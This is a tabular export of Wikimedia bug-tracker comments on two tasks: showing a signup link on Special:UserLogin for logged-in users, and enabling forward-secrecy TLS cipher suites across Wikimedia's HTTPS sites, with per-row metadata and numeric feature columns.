+https://bugzilla.wikimedia.org/show_bug.cgi?id=56854",Medium,50.0,1377375840,1381088264.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-qhcbj6e6gfltditzvaxv,task_description,resolved,True,c2,2,True,False,True,-1,True,1,0,1,1,0,1,1,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+235484,[[Special:UserLogin]] missing link to signup form when user is logged in,"Change 80769 merged by jenkins-bot:
+Special:UserLogin UI improvements when user is logged in
+
+https://gerrit.wikimedia.org/r/80769",,,1381088068,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,5,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+235481,[[Special:UserLogin]] missing link to signup form when user is logged in,https://gerrit.wikimedia.org/r/#/c/80769/ needs review.,,,1380206680,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+235478,[[Special:UserLogin]] missing link to signup form when user is logged in,I implemented this in my change on gerrit.,,,1377897769,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+235475,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:
+
+(In reply to comment #10)
+> Okay, fair point. But in this case I think it'd be much more useful to
+> replace
+> the entire login form with text saying that you're already logged in and a
+> logout link.
+> 
+> Doing this would also solve the apparent confusion created by link to account
+> creation.
+> 
+> Does this sound sane? I'll implement it if it does.
+
+Yeah I think that seems sane.
+
+The current login behavior, where you're actually allowed to re-authenticate (or attempt to) even if you're logged in, is pretty weird. 
+
+You may not even need to replace to the form, and instead just generate a message on the page, either statically on page load or when they attempt to log in.",,,1377735856,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,1,1,0,1,1,0,1
+235469,[[Special:UserLogin]] missing link to signup form when user is logged in,"Okay, fair point. But in this case I think it'd be much more useful to replace the entire login form with text saying that you're already logged in and a logout link.
+
+Doing this would also solve the apparent confusion created by link to account creation.
+
+Does this sound sane? I'll implement it if it does.",,,1377728164,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,0,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,1,0,1,1,0,0
+235463,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:
+
+There are only two kinds of users who view the form already logged in:
+
+* Those who know they are logged in, and intend to create another account.
+* Those who are not aware they are logged in successfully.
+
+For the first, they do not need a special button on login. These users are advanced enough to be able to find Special:CreateAccount aka Special:UserLogin/signup. 
+
+For the second type of user, it is entirely possible they will be thoroughly confused by being presented with a signup button to create another account. They may not even realize they are logged in, and think that the button is prompting them to create another account because the previous attempt failed. 
+
+Even with the appropriate text, e.g. ""Create another account"", it is very very unusual behavior to encourage new users to create secondary accounts for a website. This defies any normal mental model of when and why we would present account creation calls to action.",,,1377722258,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,0,True,1,0,1,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+235457,[[Special:UserLogin]] missing link to signup form when user is logged in,"I meant rationale for hiding this at all, not for the specific method. Why?
+I explained how it will be useful even on Wikimedia wikis.",,,1377686333,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,True,,,0,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+235452,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:
+
+(In reply to comment #6)
+> (In reply to comment #5)
+> > Log in appears in Special:SpecialPages and Create account
+> > doesn't (a corollary of bug 15700). If we add ""Create account"" to
+> > Special:SpecialPages so people can find create account easily, can we leave
+> > this bug unfixed?
+> 
+> Sounds sane, but that bug has been open since 2008. Are you going to fix it
+> before 1.22 release? If not, I'd go with this solution.
+> 
+> 
+> (In reply to comment #5)
+> > Otherwise this behavior should be controlled by a settings variable,
+> > wgShowCreateAccountWhenLoggedIn.
+> 
+> I'm reluctant to adding more config variables. What's the rationale here?
+
+To propose a rationale: hiding this element in CSS across hundreds of Wikimedia wikis seems an inelegant solution. There aren't actually that many ways to configure the contents of the login form. 
+
+The other reasonable alternative here is to WONTFIX this bug, under the assumption that for the third party use case, where a wiki is locked down and requires an a sysop to create accounts for others, the sysops in question know how to find with CreateAccount page without this CTA.",,,1377655022,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+235445,[[Special:UserLogin]] missing link to signup form when user is logged in,"(In reply to comment #5)
+> Log in appears in Special:SpecialPages and Create account
+> doesn't (a corollary of bug 15700). If we add ""Create account"" to
+> Special:SpecialPages so people can find create account easily, can we leave
+> this bug unfixed?
+
+Sounds sane, but that bug has been open since 2008. Are you going to fix it before 1.22 release? If not, I'd go with this solution.
+
+
+(In reply to comment #5)
+> Otherwise this behavior should be controlled by a settings variable,
+> wgShowCreateAccountWhenLoggedIn.
+
+I'm reluctant to adding more config variables. What's the rationale here?",,,1377599817,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+235441,[[Special:UserLogin]] missing link to signup form when user is logged in,"Yes, login when you're logged in is strange, but it's not harmful to log in again and is useful on a shared computer.  We hide the login / create account link(s) in the top left when logged in, so this fix only helps users who can get to the UserLogin page but can't get to Create account. That's somewhat plausible because Log in appears in Special:SpecialPages and Create account doesn't (a corollary of bug 15700). If we add ""Create account"" to Special:SpecialPages so people can find create account easily, can we leave this bug unfixed?
+
+Otherwise this behavior should be controlled by a settings variable, wgShowCreateAccountWhenLoggedIn.",,,1377568020,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0
+235435,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:
+
+(In reply to comment #3)
+> (In reply to comment #2)
+> > Is there going to be a config variable or other method to not show this on
+> > Wikimedia wikis?
+> 
+> I didn't add one in my patch, but I guess there could be one. It'd be easier
+> to
+> hide with CSS, though, in my patch the new link area has an unique id.
+> 
+
+Okay. Adding S Page, since he may be able to help with either CSS or a config var.",,,1377548942,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,0,1
+235430,[[Special:UserLogin]] missing link to signup form when user is logged in,"(In reply to comment #2)
+> Is there going to be a config variable or other method to not show this on
+> Wikimedia wikis?
+
+I didn't add one in my patch, but I guess there could be one. It'd be easier to hide with CSS, though, in my patch the new link area has an unique id.
+
+
+> As you said, this is rarely useful on Wikimedia wikis, and
+> might in fact confuse new people or encourage sockpuppetry.
+
+Accounts created when logged in have the creator logged on [[Special:Log/newusers]], so I don't think there is a huge concern about sockpuppetry here, it'd only make it easier to discover socks.
+
+It might be a little confusing - but even showing the login form when you're already logged in is already confusing enough, adding the registration link is IMO only consistent with the ""normal"" form.",,,1377547629,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+235425,[[Special:UserLogin]] missing link to signup form when user is logged in,"**swalling** wrote:
+
+The implementation of this, from looking at the patch and the associated screenshot, seems good. I think having this in core is probably a no brainer, for the reasons you cited.
+
+Is there going to be a config variable or other method to not show this on Wikimedia wikis? As you said, this is rarely useful on Wikimedia wikis, and might in fact confuse new people or encourage sockpuppetry.",,,1377546558,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+235420,[[Special:UserLogin]] missing link to signup form when user is logged in,"Change 80769 had a related patch set uploaded by Matmarex:
+Show signup link on Special:UserLogin when user is logged in
+
+https://gerrit.wikimedia.org/r/80769",,,1377377490,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qhcbj6e6gfltditzvaxv,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+55259,Add Forward Secrecy to all HTTPS sites,"**Author:** `michael+wmbugs`
+
+**Description:**
+~~Forward Secrecy capable ciphers are not currently available on wikipedia.org. The only ciphers available on wikipedia.org are:~~
+
+^ Original assertion no long true, but this ticket is now tracking progress on all of our many other sites, aside from the primary wikis.",Medium,50.0,1377276360,1442774382.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-mdihg2tyzmlvyhn3h32y,False,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_description,resolved,True,c2,2,False,False,False,-1,True,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+531063,Add Forward Secrecy to all HTTPS sites,"Great. Thank you, all who worked on this!",,,1442774382,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,107,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+530990,Add Forward Secrecy to all HTTPS sites,"I think this task can finally be closed as resolved, as there're no more domains that lack FS. (T91504 is now about DNSSEC.)
+
+https://wikitech.wikimedia.org/wiki/HTTPS/domains",,,1442734263,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,107,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0
+490679,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1448222, @BBlack wrote:
+> Done, which should get us ECDHE-based Forward Secrecy on any remaining precise+apache2.2 hosts.  Tested a few in ssllabs and they look fine.  sodium (lists.wikimedia.org) should be the only apache left that doesn't do FS now.
+
+Works on the OTRS, just tested. Thank you very much :-).
+",,,1436733446,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,97,True,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,1
+490634,Add Forward Secrecy to all HTTPS sites,"Done, which should get us ECDHE-based Forward Secrecy on any remaining precise+apache2.2 hosts.  Tested a few in ssllabs and they look fine.  sodium (lists.wikimedia.org) should be the only apache left that doesn't do FS now.",,,1436713683,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,97,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+490619,Add Forward Secrecy to all HTTPS sites,"Apparently back on May 28, Ubuntu released an update to their apache2.2 package (2.2.22-1ubuntu1.9) which backported ECC/ECDH/ECDHE support from upstream.  Just by upgrading this package (which we should do anyways, as it's a sec update), we'll gain PFS for modern clients with a lot of these misc services.  I'll see if I can get the update applied everywhere applicable.",,,1436710451,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,97,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+486183,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1424380, @Chmarkine wrote:
+> There are more. The `strong` version doesn't allow TLS 1.0, so IE < 11, Android < 4.4, Java < 8, OpenSSL < 1.0, Safari (OS X) < 7 are inaccessible.[1]
+
+IE can handle TSL1.2 with IE8+, just not by default-config (you can enable it in the security-config). While that is of course no way for the ordinary users of Wikipedia, in controlled places like the OTRS it would be no problem to tell the few agents that uses such an old IE to enable TSL1.2 in my eyes.
+
+",,,1435923765,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,96,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,1,0,1
+486181,Add Forward Secrecy to all HTTPS sites,"Good point, I wasn't thinking about the -TLSv1.0 part when I wrote that last night (or the other big ticket description).  Perhaps we need an intermediate option that's slightly less strong than strong, and just more about ECDHE ciphersuites only.",,,1435923431,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,96,True,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+486167,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1423112, @BBlack wrote:
+>If you switch a site to `strong`, it *will* become inaccessible to several insecure and/or legacy client platforms, including: Android 2.x, IE8/XP, Java6, and any automated client code / bots which indirectly use OpenSSL versions < 1.0 (older Linux distros such as Ubuntu Lucid).
+
+There are more. The `strong` version doesn't allow TLS 1.0, so IE < 11, Android < 4.4, Java < 8, OpenSSL < 1.0, Safari (OS X) < 7 are inaccessible.[1]
+
+[1] https://www.ssllabs.com/ssltest/clients.html
+",,,1435921878,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,96,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+485897,Add Forward Secrecy to all HTTPS sites,">>! In T55259#1166856, @DaBPunkt wrote:
+> Guys, while it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?
+
+>>! In T55259#1167839, @JanZerebecki wrote:
+> In this case server load is the least of the concerns. Enabling non-EC DHE ciphers may be acceptable. It is necessary if we want to disable no-FS ciphers, which is desirable. Work on this in general is not blocked by the upgrade.
+> 
+> But there is a big downside to enabling non-EC DHE ciphers on older apaches: they only support something like 1k bit DH parameters. Which means one would decrease key size. I suggest to not enable non-EC DHE on older apaches, but to upgrade them.
+
+Agreed on all points.  Now that the primary production sites are up to speed, we're paying a lot more attention to these issues there as well, and trying to set ever-evolving standards that the other/misc sites can use to follow the primary sites' lead.  The ciphersuite lists were recently updated and refactored a few times and there are now 3 options: `strong`, `compat`, and `compat-dhe`.  You can read the details in the source file itself: https://github.com/wikimedia/operations-puppet/blob/production/modules/wmflib/lib/puppet/parser/functions/ssl_ciphersuite.rb .  In the medium term, we're planning to switch to `compat-dhe` for the primary prod sites and then slowly remove most (eventually, all) of the non-PFS options from `compat-dhe`, and then deprecate the use of `compat` entirely, even for misc sites.  There's a lot of auditing and checking that has to happen along the way (and notification of breakage for small minority client platforms!), but we'll eventually get there.
+
+The TL;DR as it applies to random other/misc apache/nginx instances is:
+1. All 3 options offer some degree of forward secrecy, and prefer forward secrecy.
+2. If it's apache2.2, it needs upgrading to apache2.4 ASAP, but even before the upgrade it can use `compat`
+3. All, regardless of version, need to at least be using `compat`: that's the safe option and the minimum (vs a custom or defaulted list).
+4. `compat-dhe` is better than `compat` for secrecy (it enables a common DHE-based option), but comes with a few caveats that may need investigation for some sites:
+  1. If apache, needs apache2.4
+  2. Absolutely requires that a custom dhparam file of 2048-bit or greater is generated and used in the apache/nginx server config (ssl_ciphersuite doesn't control this at this time)
+  3. Must consider that some ancient/un-updated Java 6.x installations out there in the world will be broken for connecting to a site which forces HTTPS + `compat-dhe`.
+5. `compat-dhe` will eventually, slowly, lose all fallback non-forward-secret ciphers.  This may take a very long time as we'll be statistically sampling client accesses to the primary wikis and trying to identify possible breakage before disabling them. Likely the final holdout will be however long we have to wait for IE8/WinXP popularity to fall to sufficiently low levels that we can kill compatibility with it.  We may actually do some campaigning on this front along the way to help encourage upgrades.
+6. `strong` is an acceptable option for apache2.4/nginx for security-sensitive sites.  All of the ciphers in `strong` are forward-secret and ECDHE-based, so you don't need to even generate a dhparam file/config like you'd have to for `compat-dhe`.  If you switch a site to `strong`, it *will* become inaccessible to several insecure and/or legacy client platforms, including: Android 2.x, IE8/XP, Java6, and any automated client code / bots which indirectly use OpenSSL versions < 1.0 (older Linux distros such as Ubuntu Lucid).  Those losses aren't acceptable for the primary wikis at this time, but they may be acceptable for some of our smaller and more specialized security-sensitive sites from @Chmarkine's excellent list: https://wikitech.wikimedia.org/wiki/HTTPS/domains",,,1435873823,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,96,True,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+436035,Add Forward Secrecy to all HTTPS sites,"In this case server load is the least of the concerns. Enabling non-EC DHE ciphers may be acceptable. It is necessary if we want to disable no-FS ciphers, which is desirable. Work on this in general is not blocked by the upgrade.
+
+But there is a big downside to enabling non-EC DHE ciphers on older apaches: they only support something like 1k bit DH parameters. Which means one would decrease key size. I suggest to not enable non-EC DHE on older apaches, but to upgrade them.",,,1427827972,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,82,True,0,1,0,0,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+436010,Add Forward Secrecy to all HTTPS sites,"T83471 - seems like a duplicate of this but was resolved and not visibally public, fixed that
+
+T91504 - OTRS SSL config (this is ticket.wikimedia.org in the linked list above)
+
+T86655 - re: SVN (will probably be rejected in favor of decom)
+
+T82698 - blocker for lists.wm
+
+RT - will probably be rejected in favor of decom? needs ticket though?
+
+T94585 - wikitech-static, needs distro upgrade, ticket created
+
+that leaves from the list:  gerrit? librenms? icinga?  ",,,1427826211,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,82,True,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+435923,Add Forward Secrecy to all HTTPS sites,"We are currently using this:
+
+    'compat' => 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-E    CDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-    GCM-SHA256:AES256-GCM-SHA384:AES128:AES256:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!DH',
+
+whether it's Apache 2.2 or 2.4",,,1427820323,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,82,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,1
+435829,Add Forward Secrecy to all HTTPS sites,"Guys, while it is true that apache 2.2 doesn’t support ECHD, it supports DHE just fine. And DHE IS a PFS. I know that it is a bit slower, but does it really matter for these web-servers?",,,1427813261,,PHID-USER-4nukugv22wnc3p6k557t,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,82,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0
